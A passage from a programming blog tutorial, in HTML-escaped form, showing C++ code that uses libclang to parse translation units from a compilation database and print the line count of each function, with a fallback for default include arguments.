&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXString&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommand_getArg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;             &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;             &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;             &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_disposeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_parseTranslationUnit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CXTranslationUnit_None&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The salient point is the call to &lt;code&gt;clang_parseTranslationUnit()&lt;/code&gt; in which all arguments obtained from
the compilation database are used.&lt;/p&gt;
&lt;h1 id="counting-function-extents"&gt;Counting function extents&lt;/h1&gt;
&lt;p&gt;Having a valid translation unit at hand, we can proceed as &lt;a href="https://bastian.rieck.me/blog/2015/baby_steps_libclang_ast/"&gt;in the previous
article&lt;/a&gt; by getting a cursor into
the translation unit and visiting the syntax tree.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="n"&gt;rootCursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getTranslationUnitCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;clang_visitChildren&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;rootCursor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;functionVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With the &lt;code&gt;functionVisitor&lt;/code&gt; being a simple visitor that only reacts to function definitions, class
methods, and function template specifications:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXChildVisitResult&lt;/span&gt; &lt;span class="nf"&gt;functionVisitor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="cm"&gt;/* parent */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CXClientData&lt;/span&gt; &lt;span class="cm"&gt;/* clientData */&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;clang_Location_isFromMainFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;CXChildVisit_Continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXCursorKind&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorKind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getCursorSpelling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CXCursorKind&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CXCursor_FunctionDecl&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CXCursorKind&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CXCursor_CXXMethod&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CXCursorKind&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CXCursor_FunctionTemplate&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXSourceRange&lt;/span&gt; &lt;span class="n"&gt;extent&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorExtent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXSourceLocation&lt;/span&gt; &lt;span class="n"&gt;startLocation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getRangeStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;extent&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXSourceLocation&lt;/span&gt; &lt;span class="n"&gt;endLocation&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getRangeEnd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;extent&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;startLine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;startColumn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;endLine&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endColumn&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;clang_getSpellingLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;startLocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;startLine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;startColumn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;clang_getSpellingLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;endLocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;endLine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;endColumn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"  "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;endLine&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;startLine&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;CXChildVisit_Recurse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This time, we &lt;em&gt;always&lt;/em&gt; recursively visit all children of the current node because we might encounter
functions nested in namespace and suchlike. Apart from this, the visitor offers few surprises. We
again use &lt;code&gt;getCursorSpelling&lt;/code&gt; to obtain the &lt;em&gt;name&lt;/em&gt; of the function.&lt;/p&gt;
&lt;p&gt;If we encounter a function (which we can decide by checking the type of the cursor using the
&lt;code&gt;clang_getCursorKind()&lt;/code&gt; function), we get its extents within the source file. To this end, we call
&lt;code&gt;clang_getCursorExtent()&lt;/code&gt;, which results in a &lt;code&gt;CXSourceRange&lt;/code&gt;. This is a type that specifies, well,
a &lt;em&gt;range&lt;/em&gt; of lines in the source code. The start and end location, respectively, are obtained using
&lt;code&gt;clang_getRangeStart()&lt;/code&gt; and &lt;code&gt;clang_getRangeEnd()&lt;/code&gt;. Finally, we use &lt;code&gt;clang_getSpellingLocation()&lt;/code&gt; to
map the &lt;em&gt;internal&lt;/em&gt; locations to &lt;em&gt;external&lt;/em&gt; ones, in the form of a &lt;em&gt;line&lt;/em&gt; and a &lt;em&gt;column&lt;/em&gt;. We then
print the name of the function and the amount of source code lines it takes. This includes comment
and everything so it is not a good measure of the code complexity—as an introductory example
into the power of &lt;code&gt;libclang&lt;/code&gt; it should suffice, though.&lt;/p&gt;
&lt;p&gt;By the by: This example also demonstrates the care the &lt;code&gt;libclang&lt;/code&gt; developers have taken when
specifying their API. Being capable of mapping entities encountered during the parse process back to
actual lines of code offers a great amount of flexibility for tool developers. This is really nice!&lt;/p&gt;
&lt;h1 id="what-about-default-arguments"&gt;What about default arguments?&lt;/h1&gt;
&lt;p&gt;As a fall-back, if no compile commands are available, we can also specify our own includes. This is
surprisingly painless, thanks to &lt;code&gt;std::extents&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;defaultArguments&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="s"&gt;"-std=c++11"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="s"&gt;"-I/usr/include"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="s"&gt;"-I/usr/local/include"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_parseTranslationUnit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                              &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                              &lt;span class="n"&gt;defaultArguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                              &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;extent&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;decltype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;defaultArguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                              &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                              &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                              &lt;span class="n"&gt;CXTranslationUnit_None&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="what-about-the-mysterious-resolved-path"&gt;What about the mysterious resolved path?&lt;/h1&gt;
&lt;p&gt;At this point, the &lt;code&gt;resolvedPath&lt;/code&gt; variable occurred multiple times and surely the suspense kept you
on the edge of your seat. Let me resolve the mystery for you:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#ifdef __unix__
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;limits.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;resolvePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#ifdef __unix__
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;PATH_MAX&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
